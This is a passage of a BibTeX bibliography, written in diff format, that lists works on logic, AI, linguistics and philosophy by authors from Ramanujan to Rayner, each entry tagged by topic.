{Dordrecht}, + ISBN = {0792399846 (paper)}, + topic = {HCI;} + } + +@incollection{ ramanujan:1996a, + author = {R. Ramanujan}, + title = {Local Knowledge Assertions in a Changing World}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {1--14}, + address = {San Francisco}, + topic = {epistemic-logic;belief-revision;temporal-reasoning;} + } + +@inproceedings{ rambow:1990a, + author = {Owen Rambow}, + title = {Domain Communication Knowledge}, + booktitle = {Fifth International Workshop on Natural Language + Generation, Pittsburgh, Pennsylvania}, + year = {1990}, + pages = {87--94}, + topic = {discourse-reasoning;discourse-planning;pragmatics;} +} + +@inproceedings{ rambow-satta:1996a, + author = {Owen Rambow and Giorgio Satta}, + title = {Synchronous Models of Language}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {116--123}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {transduction;nl-quantifier-scope;} + } + +@article{ rambow-etal:2001a, + author = {Owen Rambow and K. Vijay-Shankar and David Weir}, + title = {D-Tree Substitution Grammars}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {1}, + pages = {87--121}, + topic = {TAG-grammar;} + } + +@inproceedings{ ramchaud:1993a, + author = {Gillian Carriona Ramchaud}, + title = {Verbal Nouns and Event Structure in {S}cottish {G}aelic}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {III}}, + year = {1993}, + editor = {Utpal Lahiri and Zachary Wyner}, + pages = {162--181}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {events;nominalization;Gaelic-language;} + } + +@article{ ramoni-sebastiani:2001a, + author = {Marco Ramoni and Paola Sebastiani}, + title = {Robust {B}ayes Classifiers}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {125}, + number = {1--2}, + pages = {209-226}, + topic = {Bayesian-classification;} + } + +@incollection{ ramos-lapalme:1995a, + author = {Margarita Alonso Ramos and Agnes Tutin and Guy + Lapalme}, + title = {Lexical Functions of the {\it Explanatory + Combinatorial Dictionary} for Lexicalization + in Text Generation}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {351--366}, + address = {Cambridge, England}, + topic = {computational-lexical-semantics;nl-generation;} + } + +@book{ ramsay_a:1988a, + author = {Allan Ramsay}, + title = {Formal Methods in Artificial Intelligence}, + publisher = {Cambridge University Press}, + year = {1988}, + address = {Cambridge, England}, + topic = {logic-in-AI;theorem-proving;modal-logic;nonmonotonic-logic; + temporal-logic;} + } + +@article{ ramsey_fp:1925a1, + author = {Frank P. Ramsey}, + title = {Universals}, + journal = {Mind, N.S.}, + year = {1925}, + volume = {34}, + number = {136}, + pages = {338--384}, + xref = {Reprinted in braithwaite:1931a; see ramsey:1925a2.}, + topic = {analytic-philosophy;metaphysics;} + } + +@incollection{ ramsey_fp:1925a2, + author = {Frank P. Ramsey}, + title = {Universals}, + booktitle = {The Foundations of Mathematics: Collected Papers of {F}rank + {P}. {R}amsey}, + publisher = {Routledge and Kegan Paul}, + year = {1931}, + editor = {R.B. Braithwaite}, + pages = {112--137}, + address = {London}, + xref = {Republication of: ramsey:1925a1.}, + topic = {analytic-philosophy;metaphysics;} + } + +@article{ ramsey_fp:1925b1, + author = {Frank P. Ramsey}, + title = {The Foundations of Mathematics}, + journal = {Proceedings of the {L}ondon {M}athematical {S}ociety, Series 2}, + year = {1925}, + volume = {25}, + number = {5}, + pages = {338--384}, + xref = {Reprinted in braithwaite:1931a; see ramsey:1925a2.}, + topic = {higher-order-logic;semantic-paradoxes;logic-classics;} + } + +@incollection{ ramsey_fp:1925b2, + author = {Frank P. Ramsey}, + title = {The Foundations of Mathematics}, + booktitle = {The Foundations of Mathematics: Collected Papers of {F}rank + {P}. {R}amsey}, + publisher = {Routledge and Kegan Paul}, + year = {1931}, + editor = {R.B. Braithwaite}, + pages = {1--61}, + address = {London}, + xref = {Journal publication: ramsey:1925a1.}, + topic = {higher-order-logic;semantic-paradoxes;logic-classics;} + } + +@article{ ramsey_fp:1926a1, + author = {Frank P. Ramsey}, + title = {Universals and the `Method of Analysis'\, } , + journal = {Aristotelian {S}ociety Supplementary Series}, + year = {1926}, + volume = {6}, + pages = {17--26}, + xref = {Reprinted in braithwaite:1931a; see ramsey:1925a2.}, + topic = {analytic-philosophy;metaphysics;} + } + +@incollection{ ramsey_fp:1926a2, + author = {Frank P. Ramsey}, + title = {Note on the Preceding Paper}, + booktitle = {The Foundations of Mathematics: Collected Papers of {F}rank + {P}. {R}amsey}, + publisher = {Routledge and Kegan Paul}, + year = {1931}, + editor = {R.B. Braithwaite}, + pages = {135--137}, + address = {London}, + xref = {The preceding paper is ramsey:1925a2. This is a + republication of part of ramsey:1926a2.}, + topic = {analytic-philosophy;metaphysics;} + } + +@article{ ramsey_fp:1926b1, + author = {Frank P. Ramsey}, + title = {Mathematical Logic}, + journal = {The Mathematical Gazette}, + year = {1926}, + volume = {13}, + number = {184}, + pages = {185--194}, + xref = {Reprinted in braithwaite:1931a; see ramsey:1925a2.}, + topic = {logic-classics;} + } + +@incollection{ ramsey_fp:1926b2, + author = {Frank P. Ramsey}, + title = {Mathematical Logic}, + booktitle = {The Foundations of Mathematics: Collected Papers of {F}rank + {P}. {R}amsey}, + publisher = {Routledge and Kegan Paul}, + year = {1931}, + editor = {R.B. Braithwaite}, + pages = {62--81}, + address = {London}, + xref = {Republication of ramsey:1926a2.}, + topic = {logic-classics;} + } + +@article{ ramsey_fp:1927a1, + author = {Frank P. Ramsey}, + title = {Facts and Propositions}, + Journal = {Proceedings of the {A}ristotelian Society Supplementary + Volume}, + year = {1927}, + volume = {7}, + pages = {153--170}, + xref = {Reprinted in braithwaite:1931a; see ramsey:1927a2.}, + topic = {propositional-attitudes;foundations-of-logic; + philosophical-ontology;facts;} + } + +@incollection{ ramsey_fp:1927a2, + author = {Frank P. Ramsey}, + title = {Facts and Propositions}, + booktitle = {The Foundations of Mathematics: Collected Papers of {F}rank + {P}. {R}amsey}, + publisher = {Routledge and Kegan Paul}, + year = {1931}, + editor = {R.B. Braithwaite}, + pages = {138--155}, + address = {London}, + topic = {propositional-attitudes;foundations-of-logic; + philosophical-ontology;facts;} + } + +@article{ ramsey_fp:1928a1, + author = {Frank P. Ramsey}, + title = {On a Problem of Formal Logic}, + journal = {Proceedings of the {L}ondon Mathematical Society, Series 2}, + year = {1928}, + volume = {30}, + number = {4}, + pages = {338--384}, + xref = {Republished in braithwaite:1931a; see ramsey:1928a2.}, + topic = {decidability;} + } + +@incollection{ ramsey_fp:1928a2, + author = {Frank P. Ramsey}, + title = {On a Problem of Formal Logic}, + booktitle = {The Foundations of Mathematics: Collected Papers of {F}rank + {P}. {R}amsey}, + publisher = {Routledge and Kegan Paul}, + year = {1931}, + editor = {R.B. Braithwaite}, + pages = {82--111}, + address = {London}, + xref = {Republication of: ramsey:1928a1.}, + topic = {decidability;} + } + +@incollection{ ramsey_fp:1931a, + author = {Frank P. Ramsey}, + title = {Truth and Probability}, + booktitle = {The Foundations of Mathematics: Collected Papers of {F}rank + {P}. {R}amsey}, + publisher = {Routledge and Kegan Paul}, + year = {1931}, + editor = {R.B. Braithwaite}, + pages = {156--198}, + address = {London}, + topic = {foundations-of-probability;subjective-probability;} + } + +@incollection{ ramsey_fp:1931b, + author = {Frank P. Ramsey}, + title = {Further Considerations}, + booktitle = {The Foundations of Mathematics: Collected Papers of {F}rank + {P}. {R}amsey}, + publisher = {Routledge and Kegan Paul}, + year = {1931}, + editor = {R.B. Braithwaite}, + contentnote = {Further considerations on truth and probability. TC: + A. "Reasonable degree of belief" + B. "Statistics" + C. "Chance" + }, + pages = {199--211}, + address = {London}, + topic = {foundations-of-probability;} + } + +@incollection{ ramsey_fp:1931c, + author = {Frank P. Ramsey}, + title = {General Propositions and Causality}, + booktitle = {The Foundations of Mathematics: Collected Papers of {F}rank + {P}. {R}amsey}, + publisher = {Routledge and Kegan Paul}, + year = {1931}, + editor = {R.B. Braithwaite}, + pages = {237--255}, + address = {London}, + topic = {causality;} + } + +@inproceedings{ ramshaw:1991a, + author = {Lance A. Ramshaw}, + title = {A Three-Level Model for Plan Recognition}, + booktitle = {Proceedings of the Twenty-Ninth Annual Meeting of the + Association for Computational Linguistics}, + year = {1994}, + editor = {Robert C. Berwick}, + pages = {39--46}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {plan-recognition;} + } + +@inproceedings{ ramshaw-marcus:1995a, + author = {Lance Ramshaw and Mitch Marcus}, + title = {Text Chunking Using Transformation-Based Learning}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {82--94}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;machine-learning;text-chunking;} + } + +@incollection{ ramshaw-marcus_m:1996a, + author = {Lance A. Ramshaw and Mitchell P. Marcus}, + title = {Exploring the the Nature of Transformation-Based + Learning}, + booktitle = {The Balancing Act: Combining Symbolic and Statistical + Approaches to Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Judith Klavans and Philip Resnik}, + pages = {135--156}, + address = {Cambridge, Massachusetts}, + topic = {machine-language-learning;statistical-nlp;} + } + +@incollection{ randall-cohn:1992a, + author = {David A. Randell and Anthony G. Cohn}, + title = {Exploiting Lattices in a Theory of Space and Time}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {459--476}, + address = {Oxford}, + topic = {kr;semantic-networks;temporal-reasoning; + spatial-reasoning;kr-course;} + } + +@incollection{ randell:1989a, + author = {David A. Randell and Anthony G. Cohn}, + title = {Modelling Topological and Metrical Properties in Physical + Processes}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {357--367}, + address = {San Mateo, California}, + topic = {kr;naive-physics;spatial-representation;kr-course;} + } + +@incollection{ randell-etal:1992a, + author = {David A. Randell and Zhan Cui and Anthony Cohn}, + title = {A Spatial Logic Based on Regions and Connection}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {165--176}, + address = {San Mateo, California}, + topic = {kr;spatial-representation;kr-course;} + } + +@incollection{ randell-witkowski:2002a, + author = {David Randell and Mark Witkowski}, + title = {Building Large Composition Tables Via Axiomatic Theories}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {26--35}, + address = {San Francisco, California}, + topic = {kr;compositional-tables;relational-reasoning;} + } + +@unpublished{ rankin_j:1998a, + author = {Jim Rankin}, + title = {Identifying {J}apanese as a Second Language Learner + Errors Using the {GLR*} Parser}, + year = {1998}, + note = {Unpublished manuscript, Linguistics Department, + University of Pittsburgh}, + topic = {intelligent-computer-assisted-language-instruction;} + } + +@book{ rankin_kw:1961a, + author = {K.W. Rankin}, + title = {Choice and Chance: A Libertarian Analysis}, + publisher = {Basil Blackwell Publishers}, + year = {1961}, + address = {Oxford}, + missinginfo = {A's 1st name.}, + topic = {freedom;(in)determinism;} + } + +@article{ ransom:1977a, + author = {Evelyn Ransom}, + title = {On the Representation of Modality}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {3}, + pages = {357--379}, + topic = {nl-mood;speech-acts;} + } + +@article{ ranta:1991a, + author = {Aarne Ranta}, + title = {Intuitionistic Categorial Grammar}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {2}, + pages = {203--239}, + topic = {intuitionistic-logic;categorial-grammar;} + } + +@book{ ranta:1994a, + author = {Aarne Ranta}, + title = {Type-Theoretical Grammar}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + topic = {higher-order-logic;higher-order-modal-logic; + temporal-logic;nl-semantic-types;} + } + +@article{ ranta:1998a, + author = {Aarne Ranta}, + title = {Syntactic Calculus with Dependent Types}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {4}, + pages = {413--431}, + topic = {Lambek-calculus;higher-oder-logic;} + } + +@incollection{ ranta:1998b, + author = {Aarne Ranta}, + title = {A Multilingual Natural Language Interface to Regular + Expressions}, + booktitle = {{FSMNLP'98}: International Workshop on Finite State + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Lauri Karttunen}, + pages = {79--90}, + address = {Somerset, New Jersey}, + topic = {nl-processing;finite-state-nlp;nl-interfaces;} + } + +@article{ rantala:1975a, + author = {Veikko Rantala}, + title = {Urn Models: A New Kind of Non-Standard Model for First-Order + Logic}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {4}, + pages = {455--474}, + topic = {game-theoretic-semantics;} + } + +@unpublished{ rantala:1975b, + author = {Veikko Rantala}, + title = {The Old and the New Logic of Metascience}, + year = {1978}, + note = {Unpublished manuscript.}, + topic = {philosophy-of-science;} + } + +@incollection{ rantala:1977a, + author = {Veikko Rantala}, + title = {Prediction and Identifiability}, + booktitle = {Basic Problems in Methodology and Linguistics}, + publisher = {D. Reidel Publishing Co.}, + year = {1977}, + editor = {Robert E. Butts and Jaakko Hintikka}, + pages = {91--102}, + address = {Dordrecht}, + topic = {(in)determinism;philosophy-of-science; + formalizations-of-physics;} + } + +@article{ rantala:1982a, + author = {Veikko Rantala}, + title = {Impossible Worlds Semantics and Logical Omniscience}, + journal = {Acta Philosophical Fennica}, + year = {1982}, + volume = {35}, + pages = {18--24}, + missinginfo = {number}, + topic = {epistemic-logic;hyperintensionality;resource-limited-reasoning;} + } + +@incollection{ rantala:1994a, + author = {Veikko Rantala}, + title = {Impossible Worlds Semantics and Logical Omniscience}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {106--115}, + address = {Helsinki}, + topic = {hyperintensionality;} + } + +@inproceedings{ rao_as-foo:1989a, + author = {Anand S. Rao and Norman Y. Foo}, + title = {Formal Theories of Belief Revision}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and + Raymond Reiter}, + pages = {369--380}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {belief-revision;} + } + +@incollection{ rao_as-georgeff:1991a, + author = {Anand S. Rao and Michael P. Georgeff}, + title = {Modeling Rational Agents within a {BDI}-Architecture}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {473--484}, + address = {San Mateo, California}, + topic = {kr;kr-course;foundations-of-planning;action-formalisms; + agent-architectures;} + } + +@inproceedings{ rao_as-georgeff:1991b, + author = {Anand S. Rao and Michael Georgeff}, + title = {Asymmetry Thesis and Side-Effect Problems in + Linear Time and Branching-Time Intention Logics}, + booktitle = {Proceedings of the Twelfth International Joint + Conference on Artificial Intelligence}, + year = {1991}, + editor = {Barbara Grosz and John Mylopoulos}, + pages = {498--504}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {action-formalisms;intention;branching-time;} + } + +@incollection{ rao_as-georgeff:1992a, + author = {Anand S. Rao and Michael Georgeff}, + title = {An Abstract Architecture for Rational Agents}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {439--449}, + address = {San Mateo, California}, + topic = {kr;action-formalisms;agent-architectures;kr-course;} + } + +@incollection{ rao_as:1994a, + author = {Anand S. Rao}, + title = {Means-End Recognition---Towards a Theory of Reactive + Recognition}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {497--509}, + address = {San Francisco, California}, + topic = {kr;plan-recognition;kr-course;} + } + +@article{ rao_rpn-ballard:1995a, + author = {Rajesh P.N. Rao and Dana H. Ballard}, + title = {An Active Vision Architecture Based on Iconic + Representations}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {78}, + number = {1--2}, + pages = {461--505}, + acontentnote = {Abstract: + Active vision systems have the capability of continuously + interacting with the environment. The rapidly changing + environment of such systems means that it is attractive to + replace static representations with visual routines that compute + information on demand. Such routines place a premium on image + data structures that are easily computed and used. + The purpose of this paper is to propose a general active vision + architecture based on efficiently computable iconic + representations. This architecture employs two primary visual + routines, one for identifying the visual image near the fovea + (object identification), and another for locating a stored + prototype on the retina (object location). This design allows + complex visual behaviors to be obtained by composing these two + routines with different parameters. + The iconic representations are comprised of high-dimensional + feature vectors obtained from the responses of an ensemble of + Gaussian derivative spatial filters at a number of orientations + and scales. These representations are stored in two separate + memories. One memory is indexed by image coordinates while the + other is indexed by object coordinates. Object location matches + a localized set of model features with image features at all + possible retinal locations. Object identification matches a + foveal set of image features with all possible model features. + We present experimental results for a near real-time + implementation of these routines on a pipeline image processor + and suggest relatively simple strategies for tackling the + problems of occlusions and scale variations. We also discuss two + additional visual routines, one for top-down foveal targeting + using log-polar sensors and another for looming detection, which + are facilitated by the proposed architecture. } , + topic = {computer-vision;object-recognition;visual-reasoning;} + } + +@incollection{ rapaport_m-etal:1993a, + author = {Malka Rappaport and Mary Laughren and Beth Levin}, + title = {Levels of Lexical Representation}, + booktitle = {Semantics and the Lexicon}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {James Pustejovsky}, + pages = {37--54}, + address = {Dordrecht}, + contentnote = {Discusses structure of lex rep from a fairly neutral + standpoint wrt ling formalisms. Concentrates on problem of which + aspects of arg str are predictable.}, + topic = {argument-structure;lexicon;thematic-roles;lexical-semantics;} + } + +@article{ rapaport_wj:2000a, + author = {William J. Rapaport}, + title = {How to Pass a {T}uring Test: Syntactic Semantics, + Natural-Language Understanding, and First-Person Cognition}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {4}, + pages = {467--490}, + topic = {foundations-of-AI;foundations-of-semantics;} + } + +@incollection{ raphael_b:1971a, + author = {B. Raphael}, + title = {The Frame Problem in Problem Solving Systems}, + booktitle = {Artificial Intelligence and Heuristic Programming}, + publisher = {Edinburgh University Press}, + year = {1971}, + editor = {N.V. Findler and Bernard Meltzer}, + pages = {159--169}, + address = {Edinburgh}, + missinginfo = {E's 1st name.}, + topic = {frame-problem;} + } + +@article{ raphael_dd:1956a, + author = {D.D. Raphael}, + title = {Linguistic Performatives and Descriptive Meaning}, + journal = {Mind}, + year = {1956}, + volume = {65}, + pages = {516--521}, + missinginfo = {A's 1st name, number}, + topic = {speech-acts;pragmatics;JL-Austin;} + } + +@incollection{ rapoport_tr:1993a, + author = {Tova R. Rapoport}, + title = {Verbs in Depictives and Resultatives}, + booktitle = {Semantics and the Lexicon}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {James Pustejovsky}, + pages = {163--184}, + address = {Dordrecht}, + topic = {lexical-semantics;resultative-constructions;verb-classes; + verb-semantics;} + } + +@incollection{ rapoport_tr:1993b, + author = {Tova R. Rapoport}, + title = {Stage and Adjunct Predicates: Licensing and Structure in + Secondary Predication Constructions}, + booktitle = {Knowledge and Language: Volume {II}, Lexical and Conceptual + Structure}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {Eric Reuland and Werner Abraham}, + pages = {157--182}, + address = {Dordrecht}, + topic = {predication;lexical-semantics;} + } + +@incollection{ rappaport:1983a, + author = {Malka Rappaport}, + title = {On the Nature of Derived Nominals}, + booktitle = {Papers in Lexical-Functional Grammar}, + publisher = {Indiana University Linguistics Club}, + year = {1983}, + editor = {Lori Levin and Malka Rappaport and Annie Zaenen}, + address = {Bloomington, Indiana}, + topic = {LFG;nominalization;} + } + +@article{ rappaport:1986a, + author = {William J. Rappaport}, + title = {Logical Foundations for Belief Representation}, + journal = {Cognitive Science}, + year = {1986}, + volume = {10}, + pages = {371--422}, + missinginfo = {number}, + topic = {intensionality;reference;philosophy-AI;SNePS;} + } + +@article{ rappaport_gc:1987a, + author = {Gilbert C. Rappaport}, + title = {On Syntactic Binding into Adjuncts in the {R}ussian Noun + Phrase}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {4}, + pages = {475--501}, + topic = {nl-syntax;government-binding-theory;Russian-language;} + } + +@incollection{ rappaport_m-levin_b:1988a, + author = {Malka Rappaport and Beth Levin}, + title = {What to Do with Theta-Roles}, + booktitle = {Syntax and Semantics 21: Thematic Relations}, + publisher = {Academic Press}, + year = {1988}, + editor = {Wendy Wilkins}, + pages = {7--36}, + address = {New York}, + topic = {thematic-roles;} + } + +@incollection{ rappaport_m-levin_b:1990a, + author = {Malka Rappaport and Beth Levin}, + title = {{\em -er}-Nominals: Implications for the Theory + of Argument Structure}, + booktitle = {Syntax and the Lexicon}, + publisher = {Academic Press}, + year = {1990}, + editor = {E. Wehrli and T. Stowell}, + address = {New York}, + missinginfo = {E's 1st name, pages}, + topic = {argument-structure;derivational-morphology;} + } + +@article{ rappaport_tr:1999a, + author = {Tova R. Rapoport}, + title = {Structure, Aspect and the Predicate}, + journal = {Language}, + year = {1999}, + volume = {75}, + number = {4}, + pages = {653--677}, + topic = {predication;lexical-semantics;depictives;} + } + +@book{ rardin:1975a, + author = {Robert Rardin}, + title = {Sentence-Raising and Sentence Shift}, + publisher = {Indiana University Linguistics Club}, + year = {1975}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {parentheticals;} + } + +@inproceedings{ ras-zheng:1998a, + author = {Zbigniew Ra\'s and Jiyun Zheng}, + title = {Knowledge Discovery Objects and Queries in + Distributed Knowledge Systems}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {259--269}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {deductive-databases;machine-learning;} + } + +@book{ rasmussen_e:1989a, + author = {Eric Rasmussen}, + title = {Games and Information: An Introduction to Game Theory}, + publisher = {Blackwell Publishers}, + year = {1989}, + address = {Oxford}, + topic = {game-theory;} + } + +@article{ rasmussen_sa:1986a, + author = {Stig A. Rasmussen}, + title = {Vague Identity}, + journal = {Mind}, + year = {1986}, + volume = {95}, + pages = {81--91}, + missinginfo = {number}, + topic = {vagueness;identity;} + } + +@incollection{ rathman-wiederhold:1991a, + author = {Peter K. Rathman and Gio Wiederhold}, + title = {Circumscription and Authority}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {345--358}, + address = {San Diego}, + topic = {circumscription;databases;} + } + +@incollection{ ratnaparkhi:1996a, + author = {Adwait Ratnaparkhi}, + title = {A Maximum Entropy Model for Part-of-Speech + Tagging}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {133--142}, + address = {Somerset, New Jersey}, + topic = {part-of-speech-tagging;corpus-statistics;} + } + +@incollection{ ratnaparkhi:1997a, + author = {Adwait Ratnaparkhi}, + title = {A Linear Observed Time Statistical Parser + Based on Maximal Entropy Models}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {1--10}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;parsing-algorithms; + statistical-nlp;} + } + +@article{ ratnaparkhi:2000a, + author = {Adwait Ratnaparkhi}, + title = {Review of {\it Syntactic Wordclass Tagging}, edited by + {H}ans van {H}alteren}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {3}, + pages = {456--459}, + xref = {Review of: vanhalteren:1999a.}, + topic = {part-of-speech-tagging;} + } + +@phdthesis{ rats:1996a, + author = {M. Rats}, + title = {Context-Driven Natural Language Interpretation}, + school = {Tilburg University}, + year = {1996}, + type = {Ph.{D}. Dissertation}, + address = {Tilburg}, + missinginfo = {A's 1st name.}, + topic = {computational-dialogue;nl-generation;d-topic;} + } + +@incollection{ rats-etal:1997a, + author = {M.M.M. Rats and R.J. van Vark and J.P.M. de Vreught}, + title = {Corpus-Based Information Presentation for a Spoken Public + Transport System}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {106--113}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;corpus-linguistics;} + } + +@article{ rautenberg:1983a, + author = {Wolfgang Rautenberg}, + title = {Modal Tableau Calculi and Intepolation}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {4}, + pages = {403--423}, + xref = {Correction: rautenberg:1985a.}, + topic = {modal-logic;proof-theory;} + } + +@article{ rautenberg:1985a, + author = {W. Rautenberg}, + title = {Correction to `{M}odal Tableu Calculi', by W. Rautenberg}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + number = {2}, + pages = {229}, + xref = {Correction to rautenberg:1983a.}, + topic = {modal-logic;} + } + +@incollection{ rauzy:1991a, + author = {Antoine Rauzy}, + title = {Extraction in Trivalent Propositional Logic}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {287--291}, + address = {Berlin}, + topic = {theorem-proving;many-valued-logic;} + } + +@inproceedings{ ravesz:1993a, + author = {P.Z. Ravesz}, + title = {On the Semantics of Theory Change: Arbitration Between Old + and New Information}, + booktitle = {Proceedings of the Twelfth Annual {ACM} + {SIGACT-SIGMOD-SIGART} Symposium on Principles of Database Systems}, + year = {93}, + pages = {71--82}, + missinginfo = {A's 1st name, publisher, address}, + topic = {belief-revision;} + } + +@article{ ravizza:1993a, + author = {Mark Ravizza}, + title = {Review of {\it The Non-Reality of Free Will}, by + {R}ichard {D}ouble}, + journal = {The Philosophical Review}, + year = {1993}, + volume = {102}, + number = {3}, + pages = {413--415}, + xref = {Review of double:1991a.}, + topic = {freedom;volition;} + } + +@book{ rawlins:1996a, + author = {Gregory J.E. Rawlins}, + title = {Moths to the Flame: The Seductions of Computer Technology}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {computers-and-culture;} + } + +@book{ rawlins:1996b, + author = {Gregory J.E. Rawlins}, + title = {Slaves of the Machine: The Quickening of Computer Technology}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {computers-and-culture;} + } + +@article{ rawls:1955a, + author = {John Rawls}, + title = {Two Concepts of Rules}, + journal = {The Philosophical Review}, + year = {1955}, + volume = {64}, + pages = {3--32}, + missinginfo = {number}, + topic = {unclassified;} + } + +@article{ rawls:1958a, + author = {John Rawls}, + title = {Justice as Fairness}, + journal = {The Philosophical Review}, + year = {1958}, + volume = {67}, + pages = {164--194}, + missinginfo = {number}, + topic = {distributive-justice;} + } + +@book{ rawls:1971a, + author = {John Rawls}, + title = {A Theory of Justice}, + publisher = {Harvard University Press}, + year = {1971}, + topic = {ethics;welfare-economics;rationality;} + } + +@article{ ray:1995a, + author = {Gregory Ray}, + title = {Thinking in {L}}, + journal = {No\^us}, + year = {1995}, + volume = {3}, + pages = {378--396}, + contentnote = {This is a criticism of Schiffer's account of 'POP + speaks LANG'. Argues that S's acct of what it is to think in a + language (a language of thought) is wrong.}, + topic = {philosophy-of-language;compositionality;mental-language;} + } + +@article{ ray:1996a, + author = {Gregory Ray}, + title = {Logical Consequence: A Defense of {T}arski}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {6}, + pages = {617--677}, + contentnote = {A defense of Tarski against etchemendy:1990a.}, + topic = {logical-consequence;} + } + +@article{ ray:1996b, + author = {Greg Ray}, + title = {Ontology-Free Modal Semantics}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {4}, + pages = {333--361}, + topic = {modal-logic;actualism;} + } + +@incollection{ rayner:1989a, + author = {Manny Rayner}, + title = {Did {N}ewton Solve the `Extended Prediction Problem'?}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {381--385}, + address = {San Mateo, California}, + topic = {kr;reasoning-about-physical-systems; + 